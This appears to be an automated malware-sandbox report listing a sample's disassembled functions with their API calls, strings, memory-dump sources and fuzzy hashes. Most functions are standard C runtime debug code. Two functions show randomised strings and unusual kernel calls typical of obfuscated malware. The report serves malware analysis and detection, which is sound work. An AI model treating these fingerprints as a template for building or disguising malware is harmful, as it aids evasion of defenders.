API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 9632ab329b063a644a24482c775eee5e35cbab9320680281fb213be93c790e16
Instruction ID: 61f152e5afdc10b4ef652ee6d082a2f7bb453767dbe5ec7e866975e00e9b287e
Opcode Fuzzy Hash: 9632ab329b063a644a24482c775eee5e35cbab9320680281fb213be93c790e16
Instruction Fuzzy Hash: 26F17EB1E00229AFDB24CF54DD81BEEB7B0BF84314F54419AE609A7241D7789E84CF5A

Function 004204C7 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004204CB
__get_printf_count_output.LIBCMTD ref: 004204D9
__CrtDbgReportW.LIBCMTD ref: 00420528
__errno.LIBCMTD ref: 0042053F
__invalid_parameter.LIBCMTD ref: 00420560
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00420575
_write_multi_char.LIBCMTD ref: 00420AEE
_write_string.LIBCMTD ref: 00420B09
_write_multi_char.LIBCMTD ref: 00420B35
_wctomb_s.LIBCMTD ref: 00420BB2

Strings

("Incorrect format specifier", 0), xrefs: 0041FE1D, 0041FE63
_output_s_l, xrefs: 0041FE5E, 00420556
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0041FE29, 0041FE59, 00420521, 00420551
-, xrefs: 00420A8E
("'n' format specifier disabled", 0), xrefs: 00420515, 0042055B

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Locale_write_multi_char$ReportUpdateUpdate::~___errno__get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2299594588-2363074782
Opcode ID: 94a7d8ff42172a16426b429f73a8c91ba2fd7728a6e3443659215f55523a2573
Instruction ID: 225d1f68f8fbaf93b9308c27c6fb459ee2d4967d0ab5e843eec9b9c3caca03c8
Opcode Fuzzy Hash: 94a7d8ff42172a16426b429f73a8c91ba2fd7728a6e3443659215f55523a2573
Instruction Fuzzy Hash: 31A1B1B1E012289BDF24CF55DC49BEEB7B0AB44304F6481DAE4097A282D7789EC4CF59

Function 00409967 Relevance: 36.8, APIs: 19, Strings: 2, Instructions: 88libraryfilestringCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNEL32(00000000,00000000), ref: 00409980
OpenMutexW.KERNEL32(00000000,00000000,jurayisotixaruyexarule), ref: 0040998B
WriteConsoleW.KERNEL32(001756BA,001756BA,001756BA,?,001756BA), ref: 004099B2
DebugBreak.KERNEL32(?,?,?,?), ref: 004099B8
LoadLibraryA.KERNEL32(ludiwesexexayonex), ref: 004099C3
lstrlenA.KERNEL32(001756BA), ref: 004099CA
EnumResourceTypesW.KERNEL32(001756BA,001756BA,001756BA), ref: 004099D3
SetEvent.KERNEL32(001756BA), ref: 004099DA
OutputDebugStringW.KERNEL32(001756BA), ref: 004099E1
ReadConsoleInputW.KERNEL32(001756BA,?,001756BA,?), ref: 004099F3
GetPrivateProfileIntW.KERNEL32(001756BA,001756BA,001756BA,001756BA), ref: 004099FD
CreateActCtxA.KERNEL32(?), ref: 00409A08
GetPrivateProfileStringW.KERNEL32(001756BA,001756BA,001756BA,001756BA,001756BA,001756BA), ref: 00409A14
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409A1A
CopyFileA.KERNEL32(001756BA,001756BA,001756BA), ref: 00409A23
InterlockedExchangeAdd.KERNEL32(?,001756BA), ref: 00409A2F
WaitForDebugEvent.KERNEL32(001756BA,001756BA), ref: 00409A37
SetConsoleScreenBufferSize.KERNEL32(00000000,?), ref: 00409A51
GetConsoleAliasExesLengthA.KERNEL32 ref: 00409A57

Strings

jurayisotixaruyexarule, xrefs: 00409982
ludiwesexexayonex, xrefs: 004099BE

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Console$Debug$EventPrivateProfileString$AliasBreakBufferContextCopyCreateEnumExchangeExesFileInputInterlockedLengthLibraryLoadMutexOpenOutputReadResourceScreenSizeThreadTypesWaitWritelstrlen
String ID: jurayisotixaruyexarule$ludiwesexexayonex
API String ID: 2206238837-55097362
Opcode ID: 38e61e1b4c74481a0ce6d990b435474d87799508dd8ccef8f7a04770ba6f8ff3
Instruction ID: f6add638d7d0a93c721c843aa2e0fccd9dc2b6befdde373203531033cafa394d
Opcode Fuzzy Hash: 38e61e1b4c74481a0ce6d990b435474d87799508dd8ccef8f7a04770ba6f8ff3
Instruction Fuzzy Hash: 5A2131B1540245AFD314ABB0DE8DEAB776CFB88346F005839F246A54B2DA788944CB39

Function 00421D6A Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00421D6E
__get_printf_count_output.LIBCMTD ref: 00421D7C
__CrtDbgReportW.LIBCMTD ref: 00421DCB
__errno.LIBCMTD ref: 00421DE2
__invalid_parameter.LIBCMTD ref: 00421E03
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00421E18
_write_multi_char.LIBCMTD ref: 004223AB
_write_string.LIBCMTD ref: 004223C6
_write_multi_char.LIBCMTD ref: 004223F2
__mbtowc_l.LIBCMTD ref: 00422461

Strings

_woutput_s_l, xrefs: 004217AB, 00421DF9
("Incorrect format specifier", 0), xrefs: 0042176A, 004217B0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00421776, 004217A6, 00421DC4, 00421DF4
("'n' format specifier disabled", 0), xrefs: 00421DB8, 00421DFE

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Locale_write_multi_char$ReportUpdateUpdate::~___errno__get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3596042302-1989478660
Opcode ID: da1181b2e5e53a9afcf4f7664e7a17c00acf15a28ea0e551a6d380280ac50111
Instruction ID: 0f9da94c1adf8c71e94fde85b9224d66aabebb96855957b575e3e49a32ee3e09
Opcode Fuzzy Hash: da1181b2e5e53a9afcf4f7664e7a17c00acf15a28ea0e551a6d380280ac50111
Instruction Fuzzy Hash: 9CA1A2B1E00228ABDB24DF54DD81BAEB374AB84304F54419AE60A7B282D77C5EC4CF5D

Function 0040CB7D Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 220COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(00000000,00000001), ref: 0040CC08
__CrtDbgReportW.LIBCMTD ref: 0040CC26
__CrtDbgReportW.LIBCMTD ref: 0040CC51
__CrtDbgReportW.LIBCMTD ref: 0040CC73
__CrtDbgReportW.LIBCMTD ref: 0040CCC1
IsBadReadPtr.KERNEL32(?,00000001), ref: 0040CCE1
__printMemBlockData.LIBCMTD ref: 0040CD0C
__CrtDbgReportW.LIBCMTD ref: 0040CD3D
__printMemBlockData.LIBCMTD ref: 0040CD53
__CrtDbgReportW.LIBCMTD ref: 0040CD99
__printMemBlockData.LIBCMTD ref: 0040CDAF
__CrtDbgReportW.LIBCMTD ref: 0040CDE7

Strings

normal block at 0x%p, %Iu bytes long., xrefs: 0040CD30
crt block at 0x%p, subtype %x, %Iu bytes long., xrefs: 0040CD8C
client block at 0x%p, subtype %x, %Iu bytes long., xrefs: 0040CCB4
Object dump complete., xrefs: 0040CDD5
#File Error#(%d) : , xrefs: 0040CC19
{%ld} , xrefs: 0040CC66
%hs(%d) : , xrefs: 0040CC44

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Report$BlockData__print$Read
String ID: #File Error#(%d) : $%hs(%d) : $Object dump complete.$client block at 0x%p, subtype %x, %Iu bytes long.$crt block at 0x%p, subtype %x, %Iu bytes long.$normal block at 0x%p, %Iu bytes long.${%ld}
API String ID: 1251810582-74312822
Opcode ID: 78b31f1a99fa427b01ecf983943167652ff41baddbab9cf0f01f3b0d116ea239
Instruction ID: 43ef012062c6be04f183dc6504d231ef713aa52914405bf41eea12da5ee78cd2
Opcode Fuzzy Hash: 78b31f1a99fa427b01ecf983943167652ff41baddbab9cf0f01f3b0d116ea239
Instruction Fuzzy Hash: AA717175E40205EBEB24CB84DCC6F7AB371AF45704F24822AE6157B3C2D578E8528769

Function 00420315 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00420319
_strlen.LIBCMT ref: 00420349
_write_multi_char.LIBCMTD ref: 00420AEE
_write_string.LIBCMTD ref: 00420B09
_write_multi_char.LIBCMTD ref: 00420B35
_wctomb_s.LIBCMTD ref: 00420BB2

Strings

h@, xrefs: 0042033C
("Incorrect format specifier", 0), xrefs: 0041FE1D, 0041FE63
_output_s_l, xrefs: 0041FE5E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0041FE29, 0041FE59
-, xrefs: 00420A8E

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$h@
API String ID: 2232461714-1727255588
Opcode ID: 3b76c19ff9b9ab456cb1c5b3b7b60e50817919ed409a324efdb0b1c15bc63571
Instruction ID: 5be03f9448c0fefb98a6c3e57621f9b55d30451fbaec75e1d115bac18c3a9c8e
Opcode Fuzzy Hash: 3b76c19ff9b9ab456cb1c5b3b7b60e50817919ed409a324efdb0b1c15bc63571
Instruction Fuzzy Hash: A7A180B0E012288BDF64CF54DC89BEEB7B1AB44304F5481DAD4096B292D7789EC4CF59

Function 00409180 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 73timepipethreadCOMMON

Download Yara Rule

APIs

BuildCommDCBAndTimeoutsA.KERNEL32 ref: 004091BC
GetDriveTypeW.KERNEL32(00000000), ref: 004091C4
CallNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004091D8
GetThreadPriority.KERNEL32(00000000), ref: 004091E0
InitAtomTable.KERNEL32(00000000), ref: 004091E8
AddAtomW.KERNEL32(00000000), ref: 004091F0
SetComputerNameExA.KERNEL32(00000000,zevelotikoduroyiru), ref: 004091FD
WriteConsoleInputA.KERNEL32(00000000,00000000,00000000,?), ref: 0040920E
ResetWriteWatch.KERNEL32(00000000,00000000), ref: 00409218
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 00409227
CreateTimerQueue.KERNEL32 ref: 0040922D
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00409235
WritePrivateProfileStructW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00409245
GetCommConfig.KERNEL32(00000000,00000000,00000000), ref: 00409251

Strings

nuyimedanebilebecusimuyupito, xrefs: 004091AF
28B, xrefs: 0040925E
zevelotikoduroyiru, xrefs: 004091F6

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Write$AtomComm$BuildCallComputerConfigConsoleCreateDriveEnvironmentFindFreeInitInputMountNameNamedNextPipePointPriorityPrivateProfileQueueResetStringsStructTableThreadTimeoutsTimerTypeVolumeWatch
String ID: 28B$nuyimedanebilebecusimuyupito$zevelotikoduroyiru
API String ID: 114693647-3050847477
Opcode ID: c840a2f7039f930fe2f03278ee373d32f7bf51d88f2730f80d762f340789cb88
Instruction ID: 655185af736099d680293c7210be39c68259bdf23dbfff8e66d0312f3eb009ce
Opcode Fuzzy Hash: c840a2f7039f930fe2f03278ee373d32f7bf51d88f2730f80d762f340789cb88
Instruction Fuzzy Hash: CA21FF71248380AFE390AFA4EE49F597BA4BB48702F40442DF7C9E95F0D7B45584CB2A

Function 00421B94 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00421B98
_strlen.LIBCMT ref: 00421BC8
_write_multi_char.LIBCMTD ref: 004223AB
_write_string.LIBCMTD ref: 004223C6
_write_multi_char.LIBCMTD ref: 004223F2
__mbtowc_l.LIBCMTD ref: 00422461

Strings

_woutput_s_l, xrefs: 004217AB
h@, xrefs: 00421BBB
("Incorrect format specifier", 0), xrefs: 0042176A, 004217B0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00421776, 004217A6

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$h@
API String ID: 909868375-1777932477
Opcode ID: 0609a8acd51ea76ffdce32643f90a46ddd9a81d7f89dc7ab58742935ac7347c8
Instruction ID: 390c7e416d734b8452b78709aa63e9251ee5af38e48a9ee5d3ffdc6abae0ff09
Opcode Fuzzy Hash: 0609a8acd51ea76ffdce32643f90a46ddd9a81d7f89dc7ab58742935ac7347c8
Instruction Fuzzy Hash: 7BA172B1E00128DFDB24DF55DD81BAEB3B4BB84304F54819AE50967282D778AE84CF5D

Function 0040C27E Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040C2FB
__CrtDbgReportW.LIBCMTD ref: 0040C33D
__CrtDbgReportW.LIBCMTD ref: 0040C36C
_CheckBytes.LIBCMTD ref: 0040C399
__CrtDbgReportW.LIBCMTD ref: 0040C3DB
__CrtDbgReportW.LIBCMTD ref: 0040C40A
_CheckBytes.LIBCMTD ref: 0040C442
__CrtDbgReportW.LIBCMTD ref: 0040C479
__CrtDbgReportW.LIBCMTD ref: 0040C49D
__CrtDbgReportW.LIBCMTD ref: 0040C4EE
__CrtDbgReportW.LIBCMTD ref: 0040C51D

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0040C4E1
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0040C46C
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0040C3CE
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0040C330

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Report$BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 2187916894-1867057952
Opcode ID: c0aca6178eee089c9cdb821b8be6bca50f1d81dc933c3580cce8a7a0f0816c44
Instruction ID: 5f08db738e16d8f233eda753630bf43a6ad4eb704a64f725ed4c08e92ae6ac79
Opcode Fuzzy Hash: c0aca6178eee089c9cdb821b8be6bca50f1d81dc933c3580cce8a7a0f0816c44
Instruction Fuzzy Hash: 1E6100B5E40105DBDB18CB85C8D5FBFB375AB49304F24826AE9157B3D1D278E882CB68

Function 0040CE37 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

__isctype_l.LIBCMTD ref: 0040CEA5
__errno.LIBCMTD ref: 0040CEF0
__errno.LIBCMTD ref: 0040CEFA
_swprintf_s.LIBCMTD ref: 0040CF28
__errno.LIBCMTD ref: 0040CF4E
__invoke_watson_if_oneof.LIBCMTD ref: 0040CF56
__errno.LIBCMTD ref: 0040CF5E

Strings

(*_errno()), xrefs: 0040CF45
%.2X , xrefs: 0040CF0A
_printMemBlockData, xrefs: 0040CF40
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040CF3B

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __errno$__invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3084672839-3158630120
Opcode ID: e533c9a2df9d172e88894cab42bb9a493831244e1792851567379a7e965e5c11
Instruction ID: 35773d11f8b5e927e61fc692a29bce3fae7e7b2fc73c9949fe13520bacd716a7
Opcode Fuzzy Hash: e533c9a2df9d172e88894cab42bb9a493831244e1792851567379a7e965e5c11
Instruction Fuzzy Hash: B731C170A44348EFCB04DBA5C981AEEB772AF55304F20426AE4057F2C2D7789A41DF88

Function 02296437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0229644E

Part of subcall function 02299636: __calloc_impl.LIBCMT ref: 02299645

__calloc_crt.LIBCMT ref: 02296472
_free.LIBCMT ref: 02296480
__calloc_crt.LIBCMT ref: 0229648E
_free.LIBCMT ref: 0229649E
_free.LIBCMT ref: 022964A4
__copytlocinfo_nolock.LIBCMT ref: 022964B3
__setmbcp_nolock.LIBCMT ref: 022964D4
_free.LIBCMT ref: 022964E2
___removelocaleref.LIBCMT ref: 022964E9
___freetlocinfo.LIBCMT ref: 022964F0
_free.LIBCMT ref: 022964F6

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: a59de39eaf90d7ace7bc5db88e03574209fa2b93808cd543eae142027ccb4c7d
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 3321C335124702AFEF327FE5DC01E2B7BEAEF42760B508029E489550ACEB228560CF51

Function 00410BE0 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00410C20
__nh_malloc_dbg.LIBCMTD ref: 00410C6B

Part of subcall function 0040B280: __calloc_dbg_impl.LIBCMTD ref: 0040B2A7
Part of subcall function 0040B280: __errno.LIBCMTD ref: 0040B2BE
Part of subcall function 0040B280: __errno.LIBCMTD ref: 0040B2C7

__nh_malloc_dbg.LIBCMTD ref: 00410D97
GetFileType.KERNEL32(?), ref: 00410EA7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00410C60, 00410D8C

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __errno__nh_malloc_dbg$FileInfoStartupType__calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 1610919631-4097262939
Opcode ID: 70b4eba4f8758cd3d97d49243649a59a422f94b855a4c00bb3e15b4455789e48
Instruction ID: 4e8cf84b2a1b5605479ecb52a55a1a395f32b6710df859258c276ffa04a7df95
Opcode Fuzzy Hash: 70b4eba4f8758cd3d97d49243649a59a422f94b855a4c00bb3e15b4455789e48
Instruction Fuzzy Hash: C9E11A74E04248CFDB24CFA8C894BADBBB1BB49314F24825ED465AB396C7749882CF55

